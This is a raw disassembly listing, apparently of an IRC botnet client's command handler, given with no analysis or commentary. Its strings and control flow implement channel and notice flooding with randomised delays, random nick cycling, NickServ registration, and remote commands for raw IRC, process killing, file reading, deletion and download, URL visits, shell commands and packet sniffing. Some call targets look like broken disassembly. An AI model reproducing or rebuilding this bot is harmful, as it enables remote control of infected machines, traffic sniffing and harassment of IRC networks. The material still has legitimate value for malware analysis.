		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BBF4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBF0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D118 ; " "
		push	offset dword_42BBEC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBDC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBD8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D118 ; " "
		push	offset dword_42BBEC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D118 ; " "
		push	offset dword_42BBEC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D118 ; " "
		push	offset dword_42BBEC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB54
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB40
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB3C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB14
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBDC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBDC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBDC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAB4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46DC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6DC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DADFC
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA3C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B940
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7F8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B910
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset dword_42B8D4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B898
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B86C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B844
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7F8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B814
		push	eax
		call	sub_41B886
		push	ebx
